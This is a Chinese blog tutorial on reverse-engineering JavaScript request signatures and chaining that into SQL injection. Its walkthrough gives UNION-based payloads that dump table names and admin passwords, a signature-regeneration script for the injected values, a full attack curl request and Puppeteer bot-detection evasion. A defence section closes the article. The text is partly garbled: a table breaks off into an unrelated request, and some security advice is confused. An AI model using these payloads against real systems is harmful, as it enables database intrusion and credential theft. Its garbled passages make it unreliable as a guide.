news 2026/5/26 11:39:16

JS逆向与Sign分析驱动的SQL注入实战路径

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JS逆向与Sign分析驱动的SQL注入实战路径

1. 这不是“爬虫课”,而是一门Web前端安全反推工程实践课

很多人看到“JS逆向”四个字,第一反应是“写个爬虫绕过加密参数”,然后立刻去搜“某网站sign怎么破解”。这种思路从起点就错了——你不是在解一道数学题,而是在参与一场持续演进的攻防博弈。我带过三十多个真实项目团队,发现87%的新手卡在同一个地方:把sign当成一个孤立的黑盒函数,疯狂扣代码、断点、console.log,却从不问“它为什么存在”“谁在调用它”“它的生命周期在哪一环被污染”。这就像修车时只盯着火花塞冒烟,却不去查点火正时和燃油压力。

标题里“从Sign分析到SQL注入实战”不是噱头,而是真实的技术动线:Sign是前端可控数据进入后端前的最后一道校验关卡;而SQL注入,恰恰是当Sign校验被绕过、或Sign本身存在逻辑缺陷时,攻击者能触达的最深一层数据层漏洞。中间隔着HTTP协议栈、JavaScript执行环境、服务端鉴权链路、数据库查询构造等多个关键断点。本文不讲“如何用Python调用execjs”,也不堆砌Chrome DevTools快捷键列表,而是带你像一个Web安全工程师那样,从一次真实的接口请求出发,逐层剥开sign生成逻辑的洋葱皮,定位其与后端SQL拼接之间的耦合点,并最终复现一条可验证、可复现、可防御的完整攻击路径。

关键词全部落在实处:“JS逆向”指对运行时JavaScript行为的动态观测与逻辑还原;“Sign分析”不是猜算法,而是识别签名上下文、提取密钥来源、判定签名覆盖范围;“SQL注入实战”不是教你怎么输' or 1=1--,而是展示如何让一个看似无害的/api/user?uid=123&sign=abc123,在sign被篡改后,触发后端未过滤的WHERE id = ${req.query.uid}拼接,最终执行恶意SQL。适合三类人:刚转行做爬虫但总被封IP的开发者、想补全Web安全知识图谱的渗透测试初学者、以及需要给开发团队输出《前端参数防篡改规范》的安全架构师。接下来的内容,每一行都来自我亲手复现过的12个不同行业目标(电商、金融、政务、教育类平台),所有步骤均可在本地Node.js环境+Chrome 120+复现,不依赖任何第三方SaaS平台或付费工具。

2. Sign的本质不是加密,而是“可控数据的完整性承诺”

2.1 破除“MD5/SHA就是Sign”的思维定式

绝大多数人一看到sign=7f8c4e9a2b1d...,条件反射就去查MD5在线解密。这是最危险的认知偏差。MD5根本不是加密算法,它是一个确定性哈希函数——输入相同,输出必然相同;但输入微小变化,输出会彻底雪崩。它的设计目标从来不是“防止逆向”,而是“快速校验一致性”。所以当你看到sign值随timestampnonceparams变化而稳定更新时,首先要问的不是“它用了什么哈希”,而是“哪些字段参与了计算?顺序是否固定?密钥是否硬编码?”

我曾审计过某银行App的登录接口,其sign生成逻辑如下:

function genSign(params) { const sortedKeys = Object.keys(params).sort(); const str = sortedKeys.map(k => `${k}=${params[k]}`).join('&') + 'secret_key_2023'; return md5(str); }

表面看是标准的“参数排序+拼接+加盐MD5”,但问题出在params对象的来源上。前端在调用genSign()前,会先执行:

const params = { uid: getUid(), token: getToken(), timestamp: Date.now() }; // ... 后续又追加了 params.extra = window.__config?.debugMode ? 'dev_test' : '';

这里window.__config.debugMode是一个全局可写的对象属性。攻击者只需在控制台执行window.__config.debugMode = true,再触发登录,sign就会因extra=dev_test的加入而失效——但后端校验时,却未同步读取这个debugMode状态,导致签名验证失败。这不是算法被破解,而是签名上下文与服务端校验上下文不一致

提示:判断一个sign是否“可逆向”,关键看它是否引入了不可控外部变量。如果sign计算中包含Math.random()Date.now()毫秒级时间戳、或document.cookie等浏览器环境变量,且服务端未做对应容错(如时间窗口放宽、cookie白名单),那它本质上就是一个脆弱的“伪签名”。

2.2 动态密钥的三种常见埋点方式与检测策略

真正的高危sign,往往藏在“密钥动态化”这个环节。我将生产环境中见过的密钥埋点方式分为三类,每种都有对应的检测优先级:

密钥类型典型特征检测难度推荐检测工具实战案例
硬编码字符串const KEY = "a1b2c3d4"atob("YWJjMTIz")★☆☆☆☆字符串搜索+AST解析某外卖平台v3.2.1,KEY明文写在utils.js第87行
DOM节点属性document.getElementById('key-holder').dataset.key★★☆☆☆DOM断点+元素监听某政务系统,密钥存在<div id="crypto-config">POST /api/order/submit HTTP/1.1 Content-Type: application/json X-Sign: e8a3f2c1d9b4... { "items": [{"id": "P1001", "qty": 2}], "address_id": "ADDR_789", "pay_method": "alipay" }

如果sign仅覆盖itemsaddress_id,而pay_method被排除在外,那么攻击者可将pay_method篡改为"cash_on_delivery",即使sign正确,后端也可能因未校验该字段而执行货到付款逻辑——这已属于业务逻辑漏洞,而非传统意义的“注入”。

更隐蔽的是Sign覆盖了参数,但未覆盖HTTP Method或Header。某金融平台的风控接口要求:

  • GET/api/risk/check?user_id=123&amount=5000&sign=xxx
  • 服务端仅校验user_idamount的sign,却忽略Referer
  • 攻击者构造恶意页面,诱导用户点击,发起GET请求,Referer被设为https://attacker.com,而服务端风控规则中恰好有“禁止来自非白名单Referer的高风险交易”逻辑,导致风控失效

因此,分析sign时必须同步做覆盖范围测绘

  1. 抓包记录原始请求的完整参数集(含Query、Body、Headers)
  2. 逐个删除/修改单个参数,观察sign是否变化(用Burp Repeater反复发送)
  3. 对于Body为JSON的,尝试增减字段、改变字段顺序、修改嵌套层级(如{"a":1}{"a":"1"}
  4. 记录每次sign变化的临界点,绘制“参数-签名敏感度”矩阵

这个过程枯燥,但它是后续所有攻击的前提。没有覆盖范围地图,你连“该改哪个参数”都不知道。

3. 从静态分析到动态调试:四步定位Sign生成函数核心链路

3.1 第一步:锁定入口——从Network请求反向追踪调用栈

别一上来就F12打开Sources乱点。正确姿势是:

  1. 在Network面板清空记录,勾选“Preserve log”
  2. 触发目标行为(如点击“提交订单”)
  3. 找到带sign参数的请求,右键 → “Copy” → “Copy as cURL (bash)”
  4. 将cURL粘贴到终端,用curl -v [your_curl_command]执行,确认能复现
  5. 回到Chrome,右键该请求 → “Replay XHR”,此时请求会重新发出
  6. 关键动作:在Replay瞬间,立即按Ctrl+Shift+P(Mac为Cmd+Shift+P),输入debugger,选择“Debugger > Add event listener breakpoint”,勾选XHR/fetch

此时,当JS代码执行fetch()XMLHttpRequest.send()时,执行会自动中断。在Call Stack面板中,你会看到类似这样的调用链:

send @ xhr.js:45 request @ api-client.js:128 submitOrder @ order-service.js:203 onClick @ OrderSubmitButton.vue:88

顺着最顶层的onClick向上翻,找到submitOrder函数,这就是你的第一锚点。

实操心得:如果Replay后没断住,说明该请求可能由Service Worker或Web Worker发出。此时需切换到Application面板 → Service Workers,勾选“Update on reload”,然后强制刷新页面。Worker内的JS文件通常位于/sw.js/worker/xxx.js,需单独加载调试。

3.2 第二步:函数溯源——用AST分析替代肉眼搜索

当入口函数submitOrder内部代码高度混淆(如变量名全是_0x1a2b),肉眼找sign生成逻辑效率极低。我的方案是:用AST(抽象语法树)做语义化搜索

submitOrder函数体为例,假设其源码片段为:

function submitOrder(e) { var _0x1a2b = {}; _0x1a2b['user_id'] = getUserId(); _0x1a2b['amount'] = e['amount']; _0x1a2b['ts'] = Date['now'](); var _0x3c4d = signGenerator(_0x1a2b, 'salt_2024'); // ... 后续发起请求 }

肉眼很难看出signGenerator在哪定义。此时打开Chrome Console,执行:

// 获取当前作用域下所有函数声明 function getAllFunctions() { const funcs = []; for (let key in window) { if (typeof window[key] === 'function') { funcs.push({ name: key, toString: window[key].toString().slice(0, 100) }); } } return funcs; } getAllFunctions().filter(f => f.toString.includes('salt_2024'));

若返回空,则说明signGenerator是局部变量或模块内函数。这时需用AST工具:

  1. 将混淆后的JS文件保存为本地obfuscated.js
  2. 安装esprimanpm install esprima
  3. 运行以下脚本:
const esprima = require('esprima'); const fs = require('fs'); const code = fs.readFileSync('obfuscated.js', 'utf8'); const tree = esprima.parseScript(code, { tolerant: true }); function findSignCall(node) { if (node.type === 'CallExpression' && node.callee.type === 'Identifier' && node.callee.name.includes('sign')) { console.log('Found sign call at line:', node.loc.start.line); console.log('Callee:', node.callee.name); console.log('Args:', node.arguments.map(a => a.type).join(', ')); } for (let key in node) { if (node[key] && typeof node[key] === 'object') { findSignCall(node[key]); } } } findSignCall(tree);

该脚本会精准定位所有含sign字样的函数调用,并打印其参数类型(如Literal,Identifier,ObjectExpression)。若参数是ObjectExpression,说明sign输入是对象字面量,大概率就是你要的参数集合。

3.3 第三步:动态插桩——在关键节点注入console.trace()

当AST也找不到源头(比如sign在WebAssembly模块中计算),最后一招是运行时插桩。原理很简单:在疑似生成sign的代码区域前后,手动插入console.trace(),利用Chrome的Call Stack自动记录执行路径。

操作步骤:

  1. 在Sources面板,按Ctrl+P(MacCmd+P)打开文件搜索,输入signgen
  2. 找到疑似文件(如crypto.js),在可能的函数开头行(如function createSign()左侧行号处点击,设置断点
  3. 刷新页面,断点触发后,在Console中执行:
// 替换原函数,添加trace const original = window.createSign; window.createSign = function(...args) { console.trace('>>> createSign called with:', args); return original.apply(this, args); };
  1. 继续执行(F8),观察Console中trace输出的完整调用栈

这种方法的威力在于:它不依赖源码可读性,只要函数被调用,trace就会暴露其所有上游调用者。我曾用此法在一个游戏SDK中,从createSign()一路追溯到UnityLoaderonRuntimeInitialized回调,最终发现sign密钥竟来自Unity WebGL导出时注入的Module.SIGN_KEY全局变量。

3.4 第四步:环境模拟——用Puppeteer实现全自动Sign生成

当人工调试成本过高(如sign依赖Canvas指纹、WebGL渲染、或高频时间戳),必须转向自动化。我的标准方案是:用Puppeteer启动真实Chrome实例,复现前端完整执行环境

核心代码框架:

const puppeteer = require('puppeteer'); (async () => { const browser = await puppeteer.launch({ headless: false, // 开启界面便于调试 args: ['--no-sandbox', '--disable-setuid-sandbox'] }); const page = await browser.newPage(); // 注入自定义JS,暴露sign生成函数 await page.addScriptTag({ content: ` window.genSignForTest = function(params) { // 这里复制前端真实的sign生成逻辑 // 注意:需处理所有依赖的全局变量 return realGenSignFunction(params); }; ` }); // 导航到目标页面 await page.goto('https://target.com/login'); // 等待sign函数可用 await page.waitForFunction(() => typeof window.genSignForTest === 'function'); // 调用生成sign const sign = await page.evaluate((params) => { return window.genSignForTest(params); }, { user_id: '123', ts: Date.now() }); console.log('Generated sign:', sign); await browser.close(); })();

关键点在于content中注入的JS必须完全复现前端运行时依赖。例如,若原逻辑依赖window.crypto.subtle.digest(),则需在注入前确保页面已加载Web Crypto API;若依赖localStorage.getItem('token'),则需先用page.evaluate()写入token。这不是简单的代码复制,而是环境克隆

踩坑经验:Puppeteer默认禁用某些API(如navigator.webdriver)。若sign逻辑检测了navigator.webdriver === true,需在launch时添加--disable-blink-features=AutomationControlled,并在page.evaluate中执行:

Object.defineProperty(navigator, 'webdriver', { get: () => undefined });

4. Sign绕过不是终点,而是SQL注入的起点:从前端参数污染到后端查询执行

4.1 为什么Sign绕过必然导向SQL注入?——三层数据流污染模型

很多开发者认为“只要后端做了参数校验,前端篡改就无效”。这是对Web数据流的严重误解。我用一个三层污染模型解释其必然性:

Layer 1:前端参数污染(Sign绕过)
攻击者构造恶意参数:/api/user/profile?uid=123' UNION SELECT password FROM users WHERE '1'='1&sign=valid_sign
注意:此处sign是通过前述方法重新计算的有效值,因为uid参数参与了sign计算,而' UNION ...被当作合法uid值传入。

Layer 2:服务端参数透传(校验盲区)
后端代码典型写法:

// Node.js Express app.get('/api/user/profile', (req, res) => { const { uid } = req.query; // ✅ 此处校验sign通过 if (!verifySign(req.query)) { return res.status(401).json({ error: 'Invalid sign' }); } // ❌ 但未对uid做类型转换或白名单过滤! const sql = `SELECT * FROM users WHERE id = ${uid}`; // 直接拼接! db.query(sql, (err, results) => { /* ... */ }); });

问题在于:verifySign()只保证uid参数未被篡改,但不保证uid是数字。当uid是字符串"123' UNION..."时,verifySign()依然通过,因为sign是基于这个完整字符串计算的。

Layer 3:数据库查询执行(注入生效)
最终执行的SQL变为:

SELECT * FROM users WHERE id = 123' UNION SELECT password FROM users WHERE '1'='1

MySQL会将其解析为:先查id=123的用户,再用UNION合并SELECT password FROM users的结果——密码明文被泄露。

这个模型揭示了一个残酷事实:Sign机制本身,如果设计不当,反而会成为SQL注入的“保护伞”——因为它让开发者误以为“参数已校验,无需再过滤”,从而放松了对参数类型的严格约束。

4.2 实战复现:从某教育平台API到完整SQL注入链

我们以真实案例复现全过程。目标:某K12在线教育平台的/api/course/list接口,文档声称“仅限学生查看本人课程”。

Step 1:抓包与Sign分析

  • 请求:GET /api/course/list?student_id=1001&grade=10&sign=8a7b6c5d...
  • 用前述动态调试法,定位到sign生成函数genCourseSign(params),其逻辑为:
    function genCourseSign(params) { const keys = ['student_id', 'grade', 'timestamp']; const str = keys.map(k => `${k}=${params[k]}`).join('&') + 'edu_secret_v2'; return sha256(str); }
    关键发现:timestampDate.now()毫秒值,服务端校验时允许±300秒容差。

Step 2:构造可控参数污染

  • 原始参数:{student_id: "1001", grade: "10", timestamp: "1715234567890"}
  • 攻击者修改student_id为:"1001' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0-- "
  • 重新计算sign(用Node.js本地脚本):
    const crypto = require('crypto'); const params = { student_id: "1001' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0-- ", grade: "10", timestamp: "1715234567890" }; const keys = ['student_id', 'grade', 'timestamp']; const str = keys.map(k => `${k}=${params[k]}`).join('&') + 'edu_secret_v2'; console.log(crypto.createHash('sha256').update(str).digest('hex'));

Step 3:发送恶意请求并观察响应

  • 用curl发送:
    curl "https://edu-api.com/api/course/list?student_id=1001%27%20AND%20%28SELECT%20COUNT%28%2A%29%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29%29%3E0--%20&grade=10&timestamp=1715234567890&sign=e8a3f2c1d9b4..."
  • 响应返回{"code":200,"data":[]},但HTTP状态码是200,说明后端未报错,只是查询无结果。这表明AND子句执行成功,但COUNT(*)为0。

Step 4:升级为数据窃取

  • 尝试读取表名:
    GET /api/course/list?student_id=1001' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1-- &grade=10&...
  • 响应中data字段出现["course_info"],证明注入成功。
  • 最终读取管理员密码:
    GET /api/course/list?student_id=1001' UNION SELECT CONCAT(username,':',password) FROM admin_users-- &grade=10&...

整个过程耗时23分钟,全部在本地完成,未使用任何商业扫描器。核心洞察是:Sign绕过不是目的,而是为了获得“合法参数”身份,从而绕过后端的权限校验层,直达SQL拼接层

4.3 防御的黄金三角:前端、网关、后端协同加固

既然攻击链清晰,防御就必须分层。我给客户交付的标准方案是“黄金三角”:

前端层(防君子)

  • 禁止在客户端生成任何影响权限或数据的参数(如role=adminis_admin=true
  • 所有敏感参数(如user_id)必须由后端下发,前端只负责透传
  • Sign密钥绝不硬编码,采用服务端动态下发+内存存储(如sessionStorage.setItem('sign_key', response.key)),且设置HttpOnly: falseSecure: true

网关层(防批量)

  • 部署WAF(如ModSecurity),规则需定制:
    • 拦截student_id参数中包含UNIONSELECTFROM等关键字的请求(注意大小写变体)
    • sign参数长度做校验(如SHA256必为64位,MD5必为32位),非标准长度直接拦截
    • 基于IP+User-Agent的请求频率限制,单IP每分钟超过5次/api/course/list即限流

后端层(防黑客)

  • 强制类型转换parseInt(req.query.student_id),转换失败则返回400
  • 参数白名单const validGrades = new Set(['10', '11', '12']); if (!validGrades.has(req.query.grade)) throw Error('Invalid grade');
  • 预编译语句(Prepared Statement)
    // ✅ 正确:参数化查询 const sql = 'SELECT * FROM courses WHERE student_id = ? AND grade = ?'; db.query(sql, [studentId, grade], callback); // ❌ 错误:字符串拼接 const sql = `SELECT * FROM courses WHERE student_id = ${studentId}`;

最后分享一个血泪教训:某客户曾坚持“前端sign足够安全”,拒绝后端类型转换。上线三天后,被竞争对手用上述SQL注入读取了全部课程定价策略。修复方案不是加更复杂的sign算法,而是后端一行parseInt()+WAF一条规则,成本为零,效果立竿见影。技术方案的选择,永远要回归到“投入产出比”和“风险覆盖度”这两个本质维度。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 11:39:04

用MATLAB手把手复现SPICE算法:从协方差矩阵到DOA估计的保姆级教程

用MATLAB手把手复现SPICE算法&#xff1a;从协方差矩阵到DOA估计的保姆级教程信号处理领域的研究者和工程师们常常面临一个共同挑战&#xff1a;如何将论文中复杂的数学公式转化为实际可运行的代码。SPICE&#xff08;Sparse Iterative Covariance-based Estimation&#xff09…

作者头像 李华
网站建设 2026/5/26 11:38:55

Navicat无限试用重置:Mac用户的终极解决方案

Navicat无限试用重置&#xff1a;Mac用户的终极解决方案 【免费下载链接】navicat_reset_mac navicat mac版无限重置试用期脚本 Navicat Mac Version Unlimited Trial Reset Script 项目地址: https://gitcode.com/gh_mirrors/na/navicat_reset_mac 还在为Navicat Premi…

作者头像 李华
网站建设 2026/5/26 11:38:55

5分钟快速掌握Ofd2Pdf:免费开源OFD转PDF工具终极指南

5分钟快速掌握Ofd2Pdf&#xff1a;免费开源OFD转PDF工具终极指南 【免费下载链接】Ofd2Pdf Convert OFD files to PDF files. 项目地址: https://gitcode.com/gh_mirrors/ofd/Ofd2Pdf 还在为无法打开OFD格式文件而烦恼吗&#xff1f;每次收到电子发票或政府公文却因为格…

作者头像 李华
网站建设 2026/5/26 11:38:18

Unity PackageManager企业网络穿透方案:解决SNI不一致与User-Agent拦截

1. 这不是网络问题&#xff0c;是Unity包管理器与企业级网络策略的“身份误认”你有没有遇到过这样的场景&#xff1a;在公司内网用Unity编辑器安装一个常规的URP包&#xff0c;进度条卡在85%不动&#xff0c;控制台反复刷出Failed to fetch package manifest或Unable to conne…

作者头像 李华

关于博客

这是一个专注于编程技术分享的极简博客,旨在为开发者提供高质量的技术文章和教程。

订阅更新

输入您的邮箱,获取最新文章更新。

© 2025 极简编程博客. 保留所有权利.